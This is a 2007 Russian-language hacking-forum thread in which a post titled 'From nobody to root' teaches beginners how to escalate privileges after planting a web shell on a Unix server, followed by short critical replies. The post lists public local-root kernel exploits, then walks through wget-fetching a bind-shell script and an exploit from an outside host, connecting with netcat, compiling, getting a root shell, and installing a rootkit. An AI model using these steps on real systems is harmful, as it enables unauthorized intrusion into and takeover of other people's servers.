ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

От nobody до root (старая школа)
  #1  
Старый 06.01.2007, 23:56
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


Post От nobody до root (старая школа)

Статья расчитана для новичков(чайников,начинающ их и для залётных людей на форум с вопросом , что делать? у меня есть шелл?).
Похожую статью написал Desr0w http://forum.antichat.ru/showpost.php?p=137357&postcount=1. Не ругайте меня.
|--------------------------------------------------|
|1.Intro.
|2.Немного о GCC.
|3.Local root exploit for *nix.
|4.Теория.
|5.Download.
|--------------------------------------------------|


Intro.
Множество новичков после удачной заливки web shell'a , не знают что дальше делать. Или точнее выразиться, не знают как и при помощи чего можно поднять привилегии в *nix системах. Существует множество способов поднятия прав в системе от nobody до root. И так сейчас мы попробуем рассмотреть самые приемлимые способы для захвата рута. Приступим.

Немного о GCC.

На большинства *nix системах стоят по дефолту(по умолчанию), компилятор gcc (GNU project C Compiler). Который
компилирует C\C++ исходники программ. Он нам нужен для компиляции експлоитов. И так немного о GCC.
Компиляция может включать до четырех стадий: препроцессирование,
собственно компиляцию, ассемблирование и линковку, всегда в этом
порядке. Первые три стадии применяются к отдельному исходному файлу и
заканчиваются получением объектного файла; линковка объединяет
все объектные файлы (заново откомпилированные или полученные как
входные) в исполняемый файл.

Для любого имени входного файла суффикс определяет какая компиляция
требуется:
file.c Исходный код на C, который нуждается в препроцессировании.
file.i Исходный код на С, который не нуждается в препроцессировании.
file.ii Исходный код на C++, который не нуждается в препроцессировании.
file.m Исходный код на Objective C. Заметим, что вам необходимо
подключить библиотеку 'libobjc.a', чтобы заставить
Objective C программу работать.
file.h C заголовочный файл (не для компиляции или линковки).
file.cc
file.cxx
file.cpp
file.C Исходный код на C+, который нуждается в препроцессировании.
file.s Ассемблерный код.
file.S Ассемблерный код, который нуждается в препроцессировании.
другие Объектный файл, который нужно отдать прямо на линковку. Так
поступают с любым именем файла с нераспознанным суффиксом.

Вы можете прямо указать входной язык при помощи опции '-x':
-x язык.

Прямо специфицирует язык последующих входных файлов
(даже если компилятор может выбрать язык на основании
суффикса имени файла). Эта опция действует на все
входные файлы вплоть до следующего появления опции '-x'.
Возможными значениями для языка являются:


c objective-c c++
c-header cpp-output c++-cpp-output
assembler assembler-with-cpp
-x none
Выключает любое указание языка так, что последующие
файлы обрабатываются в соответствии с суффиксами имен файлов
(как если бы '-x' не указывалось бы вовсе).

Если вам нужны лишь некоторые из стадий компиляции, вы
можете использовать '-x', чтобы указать gcc где начать, и одну
из опций '-c', некоторые комбинации (например, '-x cpp-output
-E' указывают gcc ни делать вообще ничего).


-c Компилировать или ассемблировать исходные файлы, но не
линковать. Стадия ликовки просто не выполняется. Конечный
вывод происходит в форме объектного файла для каждого
исходного файла.

По умолчанию, имя объектного файла делается из имени
исходного файла заменой суффикса '.c', '.i', '.s', и.т.д. на
'.o'.

Нераспознанные входные файлы, не требующие компиляции
или ассемблирования, игнорируются.


-S Остановиться после собственно компиляции; не ассемблировать.
Вывод производится в форме файла с ассемблерным кодом
для каждого не ассемблерного входного файла.

По умолчанию, имя файла с ассемблерным кодом делается из
имени исходного файла заменой суффикса '.c', '.i', и.т.д. на
'.s'.

Входные файлы, которые не требуют компиляции игнорируются.


-E Остановиться после стадии препроцессирования; не
запускать собственно компилятор. Вывод делается в форме
препроцессированного исходного кода, который посылается на
стандартный вывод.

Входные файлы, которые не требуют препроцессирования
игнорируются.


-o файл
Поместить вывод в файл 'файл'. Эта опция применяется
вне зависимости от вида порождаемого файла, есть ли это
выполнимый файл, объектный файл, ассемблерный файл или
препроцессированный C код.

Поскольку указывается только один выходной файл, нет
смысла использовать '-o' при компиляции более чем одного
входного файла, если вы не порождаете на выходе выполнимый
файл.

Если '-o' не указано, по умолчанию выполнимый файл
помещается в ассемблерный код в 'исходный.s' и все
препроцессированные C файлы - в стандартный вывод.


-v Печатать (в стандартный вывод ошибок) команды выполняемые
для запуска стадий компиляции. Также печатать номер
версии управляющей программы компилятора, препроцессора и
самого компилятора.


-pipe
Использовать каналы вместо временных файлов для коммуникации
между различными стадиями компиляции. Это может не
работать на некоторых системах, где ассемблер не может читать
из канала, но ассемблер GNU не имеет проблем.

Для того чтобы скомпилировать експлоит мы делаем gcc exploit.c -o exploit. Быстро рассмотрим: gcc -
сам компилятор, exploit.c - наш исходник експлоита, -o - флаг, exploit - имя программы после компиляции.


Если вас заинтересовал компилятор GCC , и вы хотите почитать полное руководство то зайдите по ссылке
http://linux.taraz.kz/doc/c/gcc1.html.


Local root exploit for *nix.


Здесь мы рассмотрим експлоиты для поднятия привелегий в *nix system. Существует два направления експлоитов,local(локальный) и remote(удалённый).И так, в паблике находиться множество различных експлоитов. Я выложу
список самых эффективных експлоитов для поднятия привелегий.

[--------------------------------------------------------------*nix--------------------------------------------------------------------]
|
`---Linux 2.2.x / 2.4.22 [Linux kernel ptrace/kmod local root exploit] [local] [ptrace-kmod]
|
`---Linux 2.2.x / 2.4.23 [Linux kernel do_brk vma overflow local root exploit] [local] [do_brk]
|
`---Linux 2.2.x / 2.4.24 /2.6.0-2 [mremap missing do_munmap return check kernel exploit] [local] [mremap_pte]
|
`---Linux 2.2 / 2.2.27-rc2 / 2.4.27 / 2.4.31-prel /2.6.x [Linux Kernel binfmt_elf Executable File Read Exploit] [local] [binfmt_elf]
|
`---Linux 2.6 / 2.6.11 [Linux Kernel (CPL 0) Local Root Exploit] [local] [k-rad3]
|
`---Linux 2.6.x [Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit] [local] [raptor_chown]
|
`---FreeBSD 4.x / 5.4 [master.passwd Disclosure Exploit] [local] [kmem]
|
`---FreeBSD 4.6-STABLE / 4.7-RELEASE [Local root exploit for hlfsd] [local] [hlfsd-xp]
|
`---FreeBSD 5.4-RELEASE [Qpopper <= 4.0.8 (poppassd) Local Root Exploit] [local] [Qpopper]
|
`---FreeBSD 4.7-RELEASE [Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit] [local] [DSR-firebird]
|
|-----> Вам предоставлены самые эффективные сплоиты.


Теория.


И так утебя есть web shell, залитый на сервер. Первым дело проверяем свои права командой id и видим>
uid=99(nobody)gid=99(nobody)groups=99(nobody)
Давай узнаем какое ядро, для этого водим команду uname -a и что мы видим. Linux 2.2.21 хорошо, замечательно. Будем брать експлоитом ptrace-kmod.c. Для этого нам надо пробиндить тачку, чтобы получить шелл оболочку. Ищем
открытую папку для заливки файла.По дефолту это папка tmp. Заливаем bind.pl (wget -O /tmp/bind.pl http://site/bind.pl) и запускаем командой perl bind.pl. Открываем net cat и вбиваем host 32767.Появился back сonect.Проверяем на наличии компилятора командой which gcc. Заливаем наш експлоит в tmp(wget -O /tmp/ptrace.c http://site/ptrace.c). Идём в папку tmp (cd /tmp), компилируем ( gcc -o ptrace ptrace.c), Запускаем ( ./ptrace) и видим

[+] Attached to 8065
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
sh-2.05a#


id >> uid=0(root) gid=0(root) groups=0(root)
Имея root можно установить rootkit.


Download.


FreeBSD >>

kmem.c
hlfsd-xp.c
Qpopper
DSR-firebird.c

Linux >>


ptrace-kmod.c
do_brk.c
mremap_pte.c
binfmt_elf.c
k-rad3.c
raptor_chown.c

Bind.pl
NetCat

Также и видео :
1)Уязвимость в HostAdmin, root через бажное ядро Линукса.[c] Melco http://video.antichat.ru/file185.html
2)Получение root прав на сервере yargsm.ru [c] l@m@rEz http://video.antichat.ru/file151.html
3)Получаем root, использую сплоита. [c] Fan http://video.antichat.ru/file120.html

Последний раз редактировалось zl0ba; 18.01.2007 в 23:09.. Причина: Исправил ошибки по замечанию flipper'а...
 
Ответить с цитированием

  #2  
Старый 07.01.2007, 00:10
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Не знаю почему но статья не очень понравилась.
 
Ответить с цитированием

  #3  
Старый 07.01.2007, 00:20
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

Слишком очевидная статья имхо, итак понятно что надо юзать бэкконект и рут сплойт %)) Про chmod в фряхе не написано, вообщем статья - развернутый gcc -h =))) имхо!
 
Ответить с цитированием

  #4  
Старый 07.01.2007, 03:23
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

Мжа...я ошибаюсь, или бойан?
З.Ы. клов отжег в репе))
 
Ответить с цитированием

  #5  
Старый 07.01.2007, 12:33
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Для этого нам надо пробиндить тачку, что бы получить шелл обалочку.
исправь грамматические ошибки и вообще раз статья для новичков, половина предложения им будет не понятна.

Вообще, 90% статьи - переведенный man gcc, который нахрен никому не нужен (читать маны, надеюсь, умеют даже новички).

Цитата:
d >> uid=0(root) gid=0(root) groups=0(root)
Имея root можно установить rootkit.
можно было бы и написать про руткиты, убрав дурацкое gcc.

Садись, три
 
Ответить с цитированием

  #6  
Старый 07.01.2007, 13:02
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

Цитата:
Сообщение от _Great_  
исправь грамматические ошибки и вообще раз статья для новичков, половина предложения им будет не понятна.

Вообще, 90% статьи - переведенный man gcc, который нахрен никому не нужен (читать маны, надеюсь, умеют даже новички).


можно было бы и написать про руткиты, убрав дурацкое gcc.

Садись, три
Спасибо, буду иметь в виду.
 
Ответить с цитированием

  #7  
Старый 08.01.2007, 00:59
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

\не по теме\ Все же спрошу, а все знают как получить рут во ФриБСД.? А то мня прет написать статью по этой теме.
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #8  
Старый 08.01.2007, 02:49
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

Цитата:
Сообщение от Constantine  
\не по теме\ Все же спрошу, а все знают как получить рут во ФриБСД.? А то мня прет написать статью по этой теме.
Ну кто то знает, а кто то не знает. Так что пиши =)
 
Ответить с цитированием

  #9  
Старый 08.01.2007, 03:12
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Тож не нра чё-то =\

ЗЫ вспомнил прикол из логов никса)
man tar
man ls

+)))
__________________
 
Ответить с цитированием

  #10  
Старый 30.09.2009, 16:36
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Цитата:
Сообщение от zl0ba  
...Также и видео :
1)Уязвимость в HostAdmin, root через бажное ядро Линукса.[c] Melco http://video.antichat.ru/file185.html
2)Получение root прав на сервере yargsm.ru [c] l@m@rEz http://video.antichat.ru/file151.html
3)Получаем root, использую сплоита. [c] Fan http://video.antichat.ru/file120.html
Извиняюсь за археологию , но может у кого-то остались эти видео... залейте плиз
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
про socks5 banall *nix 9 11.10.2006 10:17
Помогите откомпилить!! LoFFi Уязвимости 19 19.03.2006 22:56



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ